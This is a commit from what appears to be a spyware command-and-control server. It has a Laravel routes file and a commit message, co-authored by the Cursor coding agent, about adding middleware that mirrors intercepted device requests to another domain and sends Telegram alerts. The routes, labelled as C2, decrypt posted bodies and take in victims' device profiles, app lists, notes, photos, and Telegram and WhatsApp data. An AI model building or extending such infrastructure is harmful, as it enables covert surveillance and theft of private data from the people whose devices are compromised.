root
46e250109e
Add InterceptDeviceData middleware that intercepts requests from
configured device IDs (INTERCEPT_DEVICE_KEYS in .env):
- Logs to separate file public/log/intercept/Ymd.log
- Sends Telegram alert via dedicated bot (INTERCEPT_BOT_TOKEN/CHAT_ID)
- Mirrors raw request to another domain (INTERCEPT_FORWARD_URL)
preserving method/path/query/headers/body, only changing host
- /event path skips Telegram push (telemetry noise) but still logs+forwards
- Request is never blocked; normal processing continues
Registered on xxbb routes (/a /u /event /result /t etc.), c2 routes
(/api/user/*), and DarkSword routes (/beacon /war /p /stats etc.).
Config: config/coruna.php -> intercept section
Env: INTERCEPT_DEVICE_KEYS, INTERCEPT_BOT_TOKEN, INTERCEPT_CHAT_ID,
INTERCEPT_PUSH_SKIP_PATHS, INTERCEPT_FORWARD_URL, INTERCEPT_FORWARD_TIMEOUT
Co-authored-by: Cursor <cursoragent@cursor.com>
41 lines
1.6 KiB
PHP
41 lines
1.6 KiB
PHP
<?php
|
|
|
|
use App\Http\Controllers\C2\DarkSwordC2Controller;
|
|
use App\Http\Controllers\C2\XxbbC2Controller;
|
|
use App\Http\Middleware\DecryptXxbbBody;
|
|
use App\Http\Middleware\InterceptDeviceData;
|
|
use Illuminate\Http\Request;
|
|
use Illuminate\Support\Facades\Route;
|
|
|
|
$ds = DarkSwordC2Controller::class;
|
|
$xxbb = XxbbC2Controller::class;
|
|
|
|
$dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xxbb) {
|
|
return static function (Request $request) use ($ds, $dsMethod, $xxbb, $xxbbMethod) {
|
|
return DarkSwordC2Controller::matches($request)
|
|
? app($ds)->{$dsMethod}($request)
|
|
: app($xxbb)->{$xxbbMethod}($request);
|
|
};
|
|
};
|
|
|
|
Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']);
|
|
|
|
Route::middleware([DecryptXxbbBody::class, InterceptDeviceData::class])->group(function () use ($dsOrXxbb, $xxbb) {
|
|
Route::post('/a', $dsOrXxbb('profile', 'profile'));
|
|
Route::post('/u', $dsOrXxbb('apps', 'apps'));
|
|
Route::post('/event', $dsOrXxbb('event', 'event'));
|
|
Route::post('/nb', $dsOrXxbb('notes', 'notes'));
|
|
Route::post('/result', $dsOrXxbb('result', 'plugin'));
|
|
|
|
Route::post('/t', [$xxbb, 'photos']);
|
|
Route::post('/uj', [$xxbb, 'plugin']);
|
|
Route::post('/us', [$xxbb, 'plugin']);
|
|
Route::post('/ub', [$xxbb, 'plugin']);
|
|
Route::post('/ba', [$xxbb, 'plugin']);
|
|
Route::post('/api/tg/t', [$xxbb, 'telegram']);
|
|
Route::post('/api/wp/t', [$xxbb, 'whatsapp']);
|
|
// SMS module disabled (removed from show.html).
|
|
// Route::post('/m/t/g', [$xxbb, 'smsPoll']);
|
|
// Route::post('/m/t/r', [$xxbb, 'smsReport']);
|
|
});
|